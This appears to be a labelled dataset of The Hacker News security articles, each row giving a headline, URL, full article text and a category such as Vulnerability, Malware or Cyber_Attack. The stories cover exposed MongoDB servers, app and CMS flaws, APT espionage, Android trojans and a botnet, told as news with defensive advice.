"40,000 UnProtected MongoDB Databases Found on the Internet",https://thehackernews.com/2015/02/mongodb-database-hacking.html,"Nearly 40,000 organisations running MongoDB, a NoSQL high performance and cross-platform document-oriented database, are found to be unprotected and vulnerable to hackers.

Three students from University of Saarland in Germany at the Centre for IT Security – Kai Greshake, Eric Petryka and Jens Heyens – discovered that MongoDB databases running at TCP port 27017 as a service on several thousands of commercial web servers are easily accessible on the Internet.

MongoDB is an open-source database used by companies of all sizes, across all industries for a wide variety of applications. MongoDB is built for scalability, performance and high availability, scaling from single server deployments to large, complex multi-site architectures. By leveraging in-memory computing, MongoDB provides high performance for both reads and writes.

The German researchers said that they were able to get ""read and write access"" to the unsecured MongoDB databases without using any special hacking tools. They found 39,890 MongoDB databases openly available on the Internet, including one belongs to an unnamed French telecommunications company containing 8 Million customer's phone numbers and addresses.
""Anybody could retrieve and even alter several million items of customer data, including names, addresses, emails and credit card numbers,"" the university in Saarbruecken on the Franco-German border said in a statement.
Exploiting the loophole is incredibly easy, as an attacker only needs to run a port scan for TCP port 27017 on the victim's machine and finding all possible vulnerable servers on the Internet could be achieved within four hours by scanning the Internet using fastest TCP Port Scanner called, ""masscan"".

However, Shodan Search Engine makes the task even easier as it helps hackers to identify accessible MongoDB databases easily. Shodan has a database containing IP addresses with a list of services running and an easy-to-use filter mask.

The German researchers reported the issue to MongoDB as well as the French Data Protection Authority (CNIL) and the Federal Office for Information Security so that the affected database owners could be notified of the loophole.

MongoDB responded to the issue, saying ""MongoDB takes security very seriously."" Those who are affected by the issue should use latest installer for MongoDB which limits network access to localhost by default and also refer MongoDB Security Manual.

",Vulnerability
Exclusive – Any Mitron (Viral TikTok Clone) Profile Can Be Hacked in Seconds,https://thehackernews.com/2020/05/titok-mitron-app-hacking.html,"Mitron (means ""friends"" in Hindi), you have been fooled again!

Mitron is not really a 'Made in India' product, and the viral app contains a highly critical, unpatched vulnerability that could allow anyone to hack into any user account without requiring interaction from the targeted users or their passwords.

I am sure many of you already know what TikTok is, and those still unaware, it's a highly popular video social platform where people upload short videos of themselves doing things like lip-syncing and dancing.

The wrath faced by Chinese-owned TikTok from all directions—mostly due to data security and ethnopolitical reasons—gave birth to new alternatives in the market, one of which is the Mitron app for Android.

Mitron video social platform recently caught headlines when the Android app crazily gained over 5 million installations and 250,000 5-star ratings in just 48 days after being released on the Google Play Store.

Popped out of nowhere, Mitron is not owned by any big company, but the app went viral overnight, capitalizing on its name that is popular in India as a commonly used greeting by Prime Minister Narendra Modi.

Besides this, PM Modi's latest 'vocal for local' initiative to make India self-reliant has indirectly set up a narrative in the country to boycott Chinese services and products, and of course, #tiktokban and #IndiansAgainstTikTok hashtags trending due to TikTok vs. YouTube battle and CarryMinati roast video also rapidly increased the popularity of Mitron.

Any Mitron Users Account Can Be Hacked in Seconds

The insecurity that TikTok is a Chinese app and might have allegedly been abusing its users' data for surveillance, unfortunately, turned millions into signing up for less trusted and insecure alternative blindly.

The Hacker News learned that the Mitron app contains a critical and easy-to-exploit software vulnerability that could let anyone bypass account authorization for any Mitron user within seconds.

The security issue discovered by Indian vulnerability researcher Rahul Kankrale resides in the way app implemented 'Login with Google' feature, which asks users' permission to access their profile information via Google account while signing up but, ironically, doesn't use it or create any secret tokens for authentication.


In other words, one can log into any targeted Mitron user profile just by knowing his or her unique user ID, which is a piece of public information available in the page source, and without entering any password—as shown in a video demonstration Rahul shared with The Hacker News.

Mitron App Was Not Developed; Instead Bought For Just $34

Promoted as a homegrown competitor to TikTok, in separate news, it turns out that the Mitron app has not been developed from scratch; instead, someone purchased a ready-made app from the Internet, and simply rebranded it.

While reviewing the app's code for vulnerabilities, Rahul found that Mitron is actually a re-packaged version of the TicTic app created by a Pakistani software development company Qboxus who is selling it as a ready-to-launch clone for TikTok, musical.ly or Dubsmash like services.

In an interview with the media, Irfan Sheikh, CEO of Qboxus, said his company sells the source code, which the buyers are expected to customize.

""There is no problem with what the developer has done. He paid for the script and used it, which is okay. But, the problem is with people referring to it as an Indian-made app, which is not true, especially because they have not made any changes,"" Irfan said.

Besides Mitron's owner, more than 250 other developers have also purchased the TicTic app code since last year, potentially running a service that can be hacked using the same vulnerability.

Who is Behind the Mitron App? An Indian or a Pakistani?

Though the code has been developed by the Pakistani company, real identity of the person behind the Mitron app—TicTic at heart TikTok by face—has yet not been confirmed; however, some reports suggest it's owned by a former student of the Indian Institute of Technology (IIT Roorkee).

Rahul told The Hacker News that he tried responsibly reporting the flaw to the app owner but failed as the email address mentioned on the Google Play Store, the only point of available contact, is non-operational.

Besides this, the homepage for the web server (shopkiller.in), where the backend infrastructure of the app is hosted, is also blank.

Considering that the flaw actually resides in the TicTic app code and affects any other similar cloned service running out there, The Hacker News has reached out to Qboxus and disclosed details of the flaw before publishing this story.

We will update this article when we receive a response.

Is Mitron App Safe to Use?

In short, since:

the vulnerability has not yet been patched,
the owner of the app is unknown,
the privacy policy of the service doesn't exist, and
there are no terms of use,

... it's highly recommended to simply do not install or use the untrusted application.

If you're among those 5 million who have already created a profile with the Mitron app and granted it access to your Google profile, revoke it immediately.

Unfortunately, there's no way you can delete your Mitron account yourself, but the hacking of Mitron user profile would not severely impact unless you have at least a few thousand followers on the platform.

However, keeping an untrusted app installed on your smartphone is not a good idea and could put your data from other apps and sensitive information stored on it at risk, so users are advised to uninstall the app for good.
",Vulnerability
21-Year-Old Woman Charged With Hacking Selena Gomez's Email Account,https://thehackernews.com/2018/07/selena-gomez-email-hacking.html,"A 21-year-old New Jersey woman has been charged with hacking into the email accounts of pop star and actress Selena Gomez, stealing her personal photos, and then leaked them to the Internet.

Susan Atrach of Ridgefield Park was charged Thursday with 11 felony counts—five counts of identity theft, five counts of accessing and using computer data to commit fraud or illegally obtain money, property or data, and one count of accessing computer data without permission.

According to the prosecutors, Atrach allegedly hacked into email accounts belonging to Gomez and one of her associates several times between June 2015 and February 2016, the Los Angeles County District Attorney's office said in a press release.

She then obtained images and other media stored there and shared them with her friends and posted them online.

Gomez, who has more than 138 million followers on Instagram, was the victim of a hacking attack in August 2017, when photographs of her ex-boyfriend Justin Bieber were posted to her Instagram account.

However, it is not immediately clear if those photos were also the subject of the criminal charges against Atrach.

According to LA Times, Atrach believed to have broken into Apple iCloud and Yahoo email accounts used by Gomez and her personal assistant, by using the publicly-available information to answer the singer's ""secret questions.""

She then reportedly stole digital information, including photos of Justin Bieber that were taken as Gomez and Bieber vacationed in Bora Bora in 2015, and made them online.

Atrach is scheduled to be arraigned in Los Angeles Superior Court by August 27. If convicted, Atrach could face up to nine years and eight months in prison.

Neither Gomez nor any of her representatives have made a comment on the case.

It seems like celebrities are not taking the security of their online accounts seriously, as anyone could find the answers to celebrities' security questions among hundreds of pieces of information about the celebrities readily available on the Internet.

In past, hackers managed to breach the iCloud accounts of a hundreds of singers and actresses, including Jennifer Lawrence, Kate Upton, Miley Cyrus, and Kim Kardashian, extract photos and videos and then post them online—the incident very well known the Fappening.

So, lesson learned—always choose strong and unique passwords for all your online accounts and enable two-factor authentication, if available, so that even if the hackers know your password, they can not get into your account.

Moreover, do not keep easy-to-guess answers to your security questions, use one that only you knows, and nobody else.

Since such hacks are usually conducted using social engineering tricks, you are advised to avoid clicking on any suspicious link or attachment you receive via an email or message and avoid providing your personal or financial information without verifying the source properly.

",Cyber_Attack
5 Places Where Hackers Are Stealthily Stealing Your Data In 2019,https://thehackernews.com/2019/10/hacking-data-breach-protection.html,"Skyrocketing data breaches bring incalculable losses to organizations and can cost cybersecurity executives their jobs.

Here we examine the top five places in 2019 where cybercriminals are stealing corporate and government data without ever getting noticed and then learn how to avoid falling victim to unscrupulous attackers.

1. Misconfigured Cloud Storage

48% of all corporate data is stored in the cloud compared to 35% three years ago, according to a 2019 Global Cloud Security Study by cybersecurity company Thales that surveyed over 3,000 professionals across the globe. Contrastingly, only 32% of the organizations believe that protecting data in the cloud is their own responsibility, counting on cloud and IaaS providers to safeguard the data. Worse, 51% of the organizations do not use encryption or tokenization in the cloud.

(ISC)² Cloud Security Report 2019 assets that 64% of cybersecurity professionals perceive data loss and leakage as the biggest risk associated with the cloud. Misuse of employee credentials and improper access controls are the top challenges for 42% of security professionals, while 34% struggle with compliance in the cloud, and 33% name lack of visibility into infrastructure security as their predominant concern.

Negligent and careless third-parties are, however, probably the most hazardous pitfall that remains largely underestimated and thus disregarded. In 2019, Facebook, Microsoft, and Toyota were mercilessly stigmatized by the media for losing millions of customer records due to third-party leaks or breaches.

Despite these alarming incidents, still few organizations have a well-thought, properly implemented, and continuously enforced third-party risk management program, most relying on paper-based questioners skipping practical verifications and continuous monitoring.

How to mitigate: train your team, implement an organization-wide cloud security policy, continuously run discovery of public cloud storage to maintain an up2date inventory of your cloud infrastructure.

2. Dark Web

Notorious Collection #1, revealed in 2019 by security expert Troy Hunt, is a set of email addresses and plaintext passwords totaling 2,692,818,238 rows. Anyone can anonymously purchase this data for Bitcoins without leaving a trace. Being one of the largest publicly known databases of stolen credentials, it is a mere slice of compromised data available for sale on Dark Web. Many organizations are hacked every day without being aware of this due to the complexity of the attacks or simple negligence, lack of resources or skills.

Targeted password re-use attacks and spear phishing are simple to launch and do not require expensive 0day exploits. Although trivial at first glance, they may be piercingly efficient. Most organizations do not have a consistent password policy across their corporate resources, deploying SSO only to their central infrastructure.

Secondary and auxiliary systems live their own lives, commonly with a poor or even missing password policy but with access to trade secrets and intellectual property. Given the multitude of such portals and resources, attackers meticulously try stolen credentials and eventually get what they seek.

Importantly, such attacks are often technically undetectable due to insufficient monitoring or simply because they do not trigger usual anomalies just letting users in. Experienced hacking groups will carefully profile their victims before the attack to login from the same ISP sub-network and during the same hours outsmarting even the AI-enabled IDS systems underpinned by shrewd security analysts.

How to mitigate: ensure digital assets visibility, implement holistic password policy and incident response plan, continuously monitor Dark Web and other resources for leaks and incidents.

3. Abandoned and Unprotected Websites

According to 2019 research by a web security company ImmuniWeb, 97 out of 100 the world's largest banks have vulnerable websites and web applications. A wide spectrum of problems is attributed to uncontrolled usage of Open Source Software, outdated frameworks, and JS libraries, some of which contained exploitable vulnerabilities publicly known since 2011.

The same report revealed that 25% of e-banking applications were not even protected with a Web Application Firewall (WAF). Eventually, 85% of applications failed GDPR compliance tests, 49% did not pass the PCI DSS test.

In spite of the rise of Attack Surface Management (ASM) solutions, the majority of businesses incrementally struggle with the growing complexity and fluctuating intricacy of their external attack surfaces. Web applications dominate the list of abandoned or unknown assets being left by careless or overloaded developers.

Demo and test releases rapidly proliferate across an organization, sporadically being connected to production databases with sensitive data. The next releases rapidly go live, while the previous ones remain in the wild for months. Understaffed security teams routinely have no time to track such rogue applications, relying on the security policies that half of the software engineers have never read.

Even properly deployed web applications may be a time bomb if left unattended. Both Open Source and proprietary software make a buzz in Bugtraq with remarkable frequency bringing new and predominately easily-exploitable security flaws. With some exceptions, vendors are sluggish to release security patches compared to the speed of mass-hacking campaigns.

Most popular CMS, such as WordPress or Drupal, are comparatively safe in their default installations, but the myriad of third-party plugins, themes, and extensions annihilate their security.

How to mitigate: start with a free website security test for all your external-facing websites and continue with in-depth web penetration testing for the most critical web application and APIs.

4. Mobile Applications' Backends

Modern businesses now generously invest in mobile application security, leveraging secure coding standards built into DevSecOps, SAST/DAST/IAST testing, and RASP protection enhanced with Vulnerability Correlation solutions. Sadly, most of these solutions tackle only the visible tip of the iceberg, leaving mobile application backend untested and unprotected.

While most of the APIs used by the mobile application send or receive sensitive data, including confidential information, their privacy and security are widely forgotten or deprioritized, leading to unpardonable consequences.

Likewise, large organizations commonly forget that previous versions of their mobile apps can be easily downloaded from the Internet and reverse-engineered. Such legacy applications are a true Klondike for hackers searching for abandoned and vulnerable APIs commonly still capable of providing access to an organization's crown jewels in an uncontrolled manner.

Eventually, a great wealth of attacks become possible, from primitive but highly efficient brute-forcing to sophisticated authentication and authorization bypasses used for data scraping and theft. Usually, the most dangerous attacks, including SQL injections and RCEs, reside on the mobile backend side. Being unprotected even by a WAF, they are low-hanging fruit for pragmatic attackers.

How to mitigate: build holistic API inventory, implement software testing policy, run a free mobile app security test on all your mobile apps and backends, conduct mobile penetration testing for critical ones.

5. Public Code Repositories

Agile CI/CD practices are a great business enabler; however, if inadequately implemented, they swiftly morph into a disaster. Within this context, public code repositories are often the weakest link undermining organizational cybersecurity efforts.

A recent example comes from the banking giant Scotiabank that reportedly stored highly sensitive data in publicly open and accessible GitHub repositories, exposing its internal source code, login credentials, and confidential access keys.

Third-party software developers considerably exacerbate the situation in an attempt to provide the most competitive quote to unwitting and somewhat naïve customers. Cheap software is obviously not without substantial drawbacks, and poor security tops them.

While few organizations manage to keep control over the software code quality and security by conducting automated scanning and a manual code review, virtually none are capable of monitoring how the source code is being stored and protected while the software is being developed and especially afterward.

Human mistakes unsurprisingly predominate the space. Even exemplary organizations with mature and prof-tested security policies awkwardly slip because of human factors. Tough deadlines dictated by economic realities lead to overburdened and exhausted programmers who innocently forget to set a proper attribute on a newly created repository letting the troubles in.

How to mitigate: implement a policy addressing code storage and access management, enforce it internally and for third-parties, continuously run public code repositories monitoring for leaks.

Following this mitigation advice may save you countless sleepless nights and many millions for your organization. And lastly, do share information about Attack Surface Management (ASM) with your industry peers to enhance their security awareness and cybersecurity resilience.

",Data_Breaches
phpMyAdmin Releases Critical Software Update — Patch Your Sites Now!,https://thehackernews.com/2018/12/phpmyadmin-security-update.html,"Developers of phpMyAdmin, one of the most popular and widely used MySQL database management systems, today released an updated version 4.8.4 of its software to patch several important vulnerabilities that could eventually allow remote attackers to take control of the affected web servers.

The phpMyAdmin project last Sunday gave an early heads-up about the latest security update through its blog, probably the first time, as an experiment to find if pre-announcements can help website admins, hosting providers and package managers better prepare for the security release.

""We are inspired by the workflow of other projects (such as Mediawiki and others) which often announce any security release in advance to allow package maintainers and hosting providers to prepare. We are experimenting to see if such a workflow is suitable for our project,"" phpMyAdmin release manager Isaac Bennetch told The Hacker News.

phpMyAdmin is a free, open-source administration tool for managing MySQL databases using a simple graphical interface over the web-browser.

Almost every web hosting service pre-installs phpMyAdmin with their control panels to help webmasters easily manage their databases for websites, including WordPress, Joomla, and many other content management platforms.

Besides many bug fixes, there are primarily three critical security vulnerabilities that affect phpMyAdmin versions before release 4.8.4, phpMyAdmin revealed in its latest advisory.

New phpMyAdmin Vulnerabilities

Details of three newly discovered phpMyAdmin vulnerabilities are as described below:

1.) Local file inclusion (CVE-2018-19968) — phpMyAdmin versions from at least 4.0 through 4.8.3 includes a local file inclusion flaw that could allow a remote attacker to read sensitive contents from local files on the server through its transformation feature.

""The attacker must have access to the phpMyAdmin Configuration Storage tables, although these can easily be created in any database to which the attacker has access. An attacker must have valid credentials to log in to phpMyAdmin; this vulnerability does not allow an attacker to circumvent the login system.""

2.) Cross-Site Request Forgery (CSRF)/XSRF (CVE-2018-19969) — phpMyAdmin versions 4.7.0 through 4.7.6 and 4.8.0 through 4.8.3 includes a CSRF/XSRF flaw, which if exploited, could allow attackers to ""perform harmful SQL operations such as renaming databases, creating new tables/routines, deleting designer pages, adding/deleting users, updating user passwords, killing SQL processes"" just by convincing victims into opening specially crafted links.

3.) Cross-site scripting (XSS) (CVE-2018-19970) — The software also includes a cross-site scripting vulnerability in its navigation tree, which impacts versions from at least 4.0 through 4.8.3, using which an attacker can inject malicious code into the dashboard through a specially-crafted database/table name.

To address all above listed security vulnerabilities, phpMyAdmin developers today released the latest version 4.8.4, as well as separate patches for some previous versions.

Website administrators and hosting providers are highly recommended to install latest update or patches immediately.
",Vulnerability
"Android Malware as Beware of Chinese called ""The Roar of the Pharaoh""",https://thehackernews.com/2012/04/android-malware-as-beware-of-chinese.html,"Android Malware as Chinese game ""The Roar of the Pharaoh""

Security researchers have spotted a bogus Chinese game, that's actually a trojan horse gathering sensitive information from infected devices, next to sending premium-rate SMS messages. It is Chinese game that is original with its rights but on Android it is a fake application that inherits malware Trojan to steal important information from your cell phone.

The malware works after an unknowing Android handset owner installs the app, allowing the malware to collect data, such as phone number, IMEI number, phone model, screen size and platform, and recording the OS version and platform used for sending via SMS to the Trojan's authors.

But it also noted the new Trojan is unusual as it does not ask for any specific permissions during installation, which is often an indicator an application is up to no good.It added the malware masquerades as a service called ""GameUpdateService"" a very plausible name for a legitimate app if one were to check the processes running on his or her device.

The malicious application is currently detected as Andr/Stiniter-A. It said the mobile phone companies provide the payment processing and the bad guys have their money and are long gone before the victim ever receives the phone bill with the fraudulent charges.

Michael Sutton, vice president of security research at cloud-based security provider Zscaler, said the fake ""The Roar of the Pharaoh"" app for Android reflects the shift of malware authors to target the Android platform, whether smartphones or tablets. Fake game apps that are really Trojans are increasing and ""this is a typical scam for Android now,"" he says.

Other Android News:
DKFBootKit - First Android BootKit Malware
Mercury v1.0 - Framework for bug hunters to find Android vulnerabilities

",Malware
This Asia-Pacific Cyber Espionage Campaign Went Undetected for 5 Years,https://thehackernews.com/2020/05/asia-pacific-cyber-espionage.html,"An advanced group of Chinese hackers has recently been spotted to be behind a sustained cyber espionage campaign targeting government entities in Australia, Indonesia, Philippines, Vietnam, Thailand, Myanmar, and Brunei—which went undetected for at least five years and is still an ongoing threat.

The group, named 'Naikon APT,' once known as one of the most active APTs in Asia until 2015, carried out a string of cyberattacks in the Asia-Pacific (APAC) region in search of geopolitical intelligence.

According to the latest investigation report Check Point researchers shared with The Hacker News, the Naikon APT group had not gone silent for the last 5 years, as initially suspected; instead, it was using a new backdoor, called ""Aria-body,"" to operate stealthily.

""Given the characteristics of the victims and capabilities presented by the group, it is evident that the group's purpose is to gather intelligence and spy on the countries whose governments it has targeted,"" the researchers said.

The backdoor serves a dual purpose in that the threat actor, besides using it to take control of the internal networks of the targeted organizations, is also mounting attacks from an already breached company to infect another.

""This includes not only locating and collecting specific documents from infected computers and networks within government departments, but also extracting removable data drives, taking screenshots and keylogging, and of course, harvesting the stolen data for espionage.""

A Geo-Political Intelligence Campaign

First documented in 2015, the Naikon APT group uses crafted email lures as an initial attack vector against top-level government agencies and civil and military organizations, which, when opened, installed spyware that exfiltrated sensitive documents to remote command-and-control (C2) servers.

Although no new signs of activity have been reported since then, Check Point's latest research casts its operations in a fresh light.

""Naikon attempted to attack one of our customers by impersonating a foreign government – that's when they came back onto our radar after a five-year absence, and we decided to investigate further,"" Lotem Finkelsteen, manager of threat intelligence at Check Point, said.

Not only were multiple infection chains employed to deliver the Aria-body backdoor, but the malicious emails also contained an RTF file (named ""The Indians Way.doc"") that was infected with an exploit builder called RoyalBlood, which dropped a loader (intel.wll) in the system's Microsoft Word startup folder (""%APPDATA%\Microsoft\Word\STARTUP"").


RoyalBlood is an RTF weaponizer shared mostly among Chinese threat actors. It's worth noting that a similar modus operandi has been linked to a campaign against Mongolian government agencies, called Vicious Panda, that was found exploiting the ongoing coronavirus outbreak to plant malware via social engineering tricks.

In a separate infection mechanism, archive files were packaged with a legitimate executable (such as Outlook and Avast Proxy) and a malicious library to drop the loader on the target system.

Regardless of the method to gain an initial foothold, the loader then established a connection with a C2 server to download the next-stage Aria-body backdoor payload.

""After getting the C&C domain, the loader contacts it to download the next and final stage of the infection chain,"" the researchers noted. ""Although it sounds simple, the attackers operate the C&C server in a limited daily window, going online only for a few hours each day, making it harder to gain access to the advanced parts of the infection chain.""

The Aria-body RAT, named so based on the name ""aria-body-dllX86.dll"" given by the malware authors, has all the features you'd expect from a typical backdoor: create and delete files and directories, take screenshots, search for files, gather file metadata, collect system and location information, among others.

Some recent variations of Aria-body also come equipped with capabilities to capture keystrokes, and even load other extensions, per researchers, suggesting the backdoor is under active development.

Aside from exfiltrating all the gathered data to the C2 server, the backdoor listens for any additional commands to be executed.

Further analysis of the C2 infrastructure found that several domains were used for long stretches of time, with the same IP address reused with more than one domain.

Taking their evasion tactics to the next level, the adversary compromised and used servers within the infected ministries as C2 servers to launch attacks, and relay and route the stolen data, rather than risk detection when accessing the remote servers.

Ties to Naikon APT

Check Point said it attributed the campaign to the Naikon APT based on code similarities in Aria-body and the espionage tool detailed by Kaspersky (called ""XSControl"") in 2015, as well as in the use of C2 domains (mopo3[.]net) that resolve to the same IP address as the domains mentioned by the latter (myanmartech.vicp[.]net).


""While the Naikon APT group has kept under the radar for the past 5 years, it appears that they have not been idle,"" Check Point concluded. ""In fact, quite the opposite. By utilizing new server infrastructure, ever-changing loader variants, in-memory fileless loading, as well as a new backdoor — the Naikon APT group was able to prevent analysts from tracing their activity back to them.""

",Cyber_Attack
Firmware vulnerability allows man-in-the-middle attack using SD Memory cards,https://thehackernews.com/2014/01/firmware-vulnerability-allows-man-in.html,"How is it possible to exploit SD Card, USB stick and other mobile devices for hacking? Another interesting hack was presented at the Chaos Computer Congress (30C3), in Hamburg, Germany.

The researchers demonstrated how it is possible to hack the microcontroller inside every SD and MicroSD flash cards that allow arbitrary code execution and can be used to perform a man in the middle attack.

The Hardware Hackers Andrew ""bunnie"" Huang and Sean ""xobs"" described the exploitation method on their blog post,""it also enables the possibility for hardware enthusiasts to gain access to a very cheap and ubiquitous source of microcontrollers.""
It seems that to reduce SD cards price and increase their storage capability, engineers have to consider a form of internal entropy that could affect data integrity on every Flash drive. Almost every NAND flash memory is affected by defects and presents problems like electron leakage between adjacent cells.

""Flash memory is really cheap. So cheap, in fact, that it's too good to be true. In reality, all flash memory is riddled with defects — without exception. The illusion of a contiguous, reliable storage media is crafted through sophisticated error correction and bad block management functions. This is the result of a constant arms race between the engineers and mother nature; with every fabrication process shrinks, memory becomes cheaper but more unreliable. Likewise, with every generation, the engineers come up with more sophisticated and complicated algorithms to compensate for mother nature's propensity for entropy and randomness at the atomic scale."" wrote Huang.

Manufacturers have a sophisticated software that can detect hardware issues, such as bad sectors, and correct them through firmware. Hackers could hack into these flash-based storage devices using firmware vulnerability, allowing them to install malware.

The firmware on the SD cards can be updated, but according the Huang revelations most manufacturers leave this update functionality unsecured.

During the presentation, they reverse-engineered the instruction set of a particular microcontroller to inspect firmware loading mechanism.

The attackers suitably modifying the firmware could hack any device that uses the compromised SD card (e.g. A mobile device, Wi-Fi equipped camera), the flash memory will appear to be operating normally while hacking the hoisting equipment.
The SD card could make a copy of the contents in a hidden memory area or it could run malicious code while idle avoiding detection mechanisms.

When we speak about USB hacking or SD Card is hacking we must consider that we are approaching the hacking on a large-scale due the wide diffusion of these components. Microcontrollers cost as little as 15¢ each in quantity, they are everywhere and every device that use them could be hacked.

Another consideration that must be done is that Governments and high profile hackers could be very interested in this type of attack for both cyber espionage and sabotage, arrange a countermeasure against those types of threat it is very hard.

A curiosity for the ""hackers inside""... These cards could be reprogrammed to become Arduino open source microcontroller and memory systems.

""An Arduino, with its 8-bit 16 MHz microcontroller, will set you back around $20. A MicroSD card with several gigabytes of memory and a microcontroller with several times the performance could be purchased for a fraction of the price,"" he writes.

So, in short, destroy your SD cards if you have any dirty info on them and keep your eyes peeled for ultra-small, ultra-fast Arduino hacks.

Look closely at the presentation... and distrustful of SD cards from now on.

",Vulnerability
THOR : Another P2P Botnet in development with extra stealth features,https://thehackernews.com/2012/03/thor-another-p2p-botnet-in-development.html,"THOR : Another P2P Botnet in development with extra stealth features

The research community is now focusing on the integration of peer-to-peer (P2P) concepts as incremental improvements to distributed malicious software networks (now generically referred to as botnets). Because ""botnets"" can be used for illicit financial gain,they have become quite popular in recent Internet attacks.

A ""botnet"" is a network of computers that are compromised and controlled by an attacker. Each computer is infected witha malicious program called a ""bot"", which actively communicates with other bots in the botnet or with several ""botcontrollers"" to receive commands from the botnet owner. Attackers maintain complete control of their botnets, andcan conduct Distributed Denial-of-Service (DDoS) attacks,email spamming, keylogging, abusing online advertisements, spreading new malware, etc.

However, the first botnets that use peer-to-peer (P2P) networks for remote control of the compromised machines appeared in the wild recently. This new bot has a different code base, it uses the same spreading strategy and also seems to maintain a multi-relay (or peer-to-peer) infrastructure just like its predecessor.

Thor is a decentralised P2P botnet , Coded in C / C++ & Developed by ""TheGrimReap3r"" that has been in development for some time now and is almost ready to go out on sale.The botnet itself has no central command point, so it will be very difficult to shut down, also, very difficult to track where commands are coming from, because all the nodes pass them on.

Thor uses DLL injection, IAT hooking, ring3 rootkit amongst other things to hide. One more interesting Feature that It have it's own module system so you can write your own modules with our easy API system. It include peer to peer communication uses 256-AES encryption with random key generation at each startup.

Thor works on Win 2000+, Win XP SP0/SP1/SP2/SP3, Win Vista SP0/SP1/SP2, Win 7 SP0/SP1 and Support x86 and x64 systems.

The Developers of Thor going to sale this Botnet openly in underground market and various hacking forums at $8000, the package without modules and the expected modules that anyone can buy will be: advanced botkiller, DDoS, formgrabber, keylogger/password stealer and mass mailer.

",Malware
Facebook hack exposes contact Information of 6 Million Users,https://thehackernews.com/2013/06/facebook-hack-exposes-contact.html,"Facebook is alerting its users about a security breach due to a technical glitch, that may have inadvertently exposed the email addresses and telephone numbers of roughly 6 million users.

""We recently received a report to our White Hat program regarding a bug that may have allowed some of a person's contact information (email or phone number) to be accessed by people who either had some contact information about that person or some connection to them,"" Facebook said in its announcement.
The problem stemmed from a tool that allows users to upload their contact lists or address books to Facebook so that the social network can serve up friend recommendations or invite people to join Facebook.

""Because of the bug, some of the information used to make friend recommendations and reduce the number of invitations we send was inadvertently stored in association with people's contact information as part of their account on Facebook,""

As a result, if a person went to download an archive of their Facebook account through or Download Your Information (DYI) tool, they may have been provided with additional email addresses or telephone numbers for their contacts or people with whom they have some connection.

After report, Facebook immediately disabled that DYI tool in order to fix the problem and then turned the DYI back on the next day, after addressing the issue.

Facebook said so far it has no evidence to believe the bug was exploited and has not received complaints from users.

The breach follows recent disclosures that several consumer Internet companies turned over troves of user data to a large-scale electronic surveillance program run by U.S. intelligence.

",Vulnerability
Critical RCE Flaws Affect VMware ESXi and vSphere Client — Patch Now,https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html,"VMware has addressed multiple critical remote code execution (RCE) vulnerabilities in VMware ESXi and vSphere Client virtual infrastructure management platform that may allow attackers to execute arbitrary commands and take control of affected systems.
""A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,"" the company said in its advisory.
The vulnerability, tracked as CVE-2021-21972, has a CVSS score of 9.8 out of a maximum of 10, making it critical in severity.
""In our opinion, the RCE vulnerability in the vCenter Server can pose no less a threat than the infamous vulnerability in Citrix (CVE-2019-19781),"" said Positive Technologies' Mikhail Klyuchnikov, who discovered and reported the flaw to VMware.
""The error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server.""
With this access in place, the attacker can then successfully move through the corporate network and gain access to the data stored in the vulnerable system, such as information about virtual machines and system users, Klyuchnikov noted.
Separately, a second vulnerability (CVE-2021-21973, CVSS score 5.3) allows unauthorized users to send POST requests, permitting an adversary to mount further attacks, including the ability to scan the company's internal network and retrieve specifics about the open ports of various services.
The information disclosure issue, according to VMware, stems from an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in the vCenter Server plugin.
VMware has also provided workarounds to remediate CVE-2021-21972 and CVE-2021-21973 temporarily until the updates can be deployed. Detailed steps can be found here.
It's worth noting that VMware rectified a command injection vulnerability in its vSphere Replication product (CVE-2021-21976, CVSS score 7.2) earlier this month that could grant a bad actor with administrative privileges to execute shell commands and achieve RCE.
Lastly, VMware also resolved a heap-overflow bug (CVE-2021-21974, CVSS score 8.8) in ESXi's service location protocol (SLP), potentially allowing an attacker on the same network to send malicious SLP requests to an ESXi device and take control of it.
OpenSLP provides a framework to allow networking applications to discover the existence, location, and configuration of networked services in enterprise networks.
The latest fix for ESXi OpenSLP comes on the heels of a similar patch (CVE-2020-3992) last November that could be leveraged to trigger a use-after-free in the OpenSLP service, leading to remote code execution.
Not long after, reports of active exploitation attempts emerged in the wild, with ransomware gangs abusing the vulnerability to take over unpatched virtual machines deployed in enterprise environments and encrypt their virtual hard drives.
It's highly recommended that users install the updates to eliminate the risk associated with the flaws, in addition to ""removing vCenter Server interfaces from the perimeter of organizations, if they are there, and allocate them to a separate VLAN with a limited access list in the internal network.""

",Malware
New Android Malware Hijacks Router DNS from Smartphone,https://thehackernews.com/2016/12/android-dns-malware.html,"Another day, another creepy malware for Android users!

Security Researchers have uncovered a new Android malware targeting your devices, but this time instead of attacking the device directly, the malware takes control over the WiFi router to which your device is connected to and then hijacks the web traffic passing through it.

Dubbed ""Switcher,"" the new Android malware, discovered by researchers at Kaspersky Lab, hacks the wireless routers and changes their DNS settings to redirect traffic to malicious websites.

Over a week ago, Proofpoint researchers discovered similar attack targeting PCs, but instead of infecting the target's machines, the Stegano exploit kit takes control over the local WiFi routers the infected device is connected to.

Switcher Malware carries out Brute-Force attack against Routers

Hackers are currently distributing the Switcher trojan by disguising itself as an Android app for the Chinese search engine Baidu (com.baidu.com), and as a Chinese app for sharing public and private Wi-Fi network details (com.snda.wifilocating).

Once victim installs one of these malicious apps, the Switcher malware attempts to log in to the WiFi router the victim's Android device is connected to by carrying out a brute-force attack on the router's admin web interface with a set of a predefined dictionary (list) of usernames and passwords.
""With the help of JavaScript [Switcher] tries to login using different combinations of logins and passwords,"" mobile security expert Nikita Buchka of Kaspersky Lab says in a blog post published today.
""Judging by the hard coded names of input fields and the structures of the HTML documents that the trojan tries to access, the JavaScript code used will work only on web interfaces of TP-LINK Wi-Fi routers.""

Switcher Malware Infects Routers via DNS Hijacking
Once accessed web administration interface, the Switcher trojan replaces the router's primary and secondary DNS servers with IP addresses pointing to malicious DNS servers controlled by the attackers.

Researchers said Switcher had used three different IP addresses – 101.200.147.153, 112.33.13.11 and 120.76.249.59 – as the primary DNS record, one is the default one while the other two are set for specific internet service providers.

Due to change in router's DNS settings, all the traffic gets redirected to malicious websites hosted on attackers own servers, instead of the legitimate site the victim is trying to access.
""The Trojan targets the entire network, exposing all its users, whether individuals or businesses, to a wide range of attacks – from phishing to secondary infection,"" the post reads.
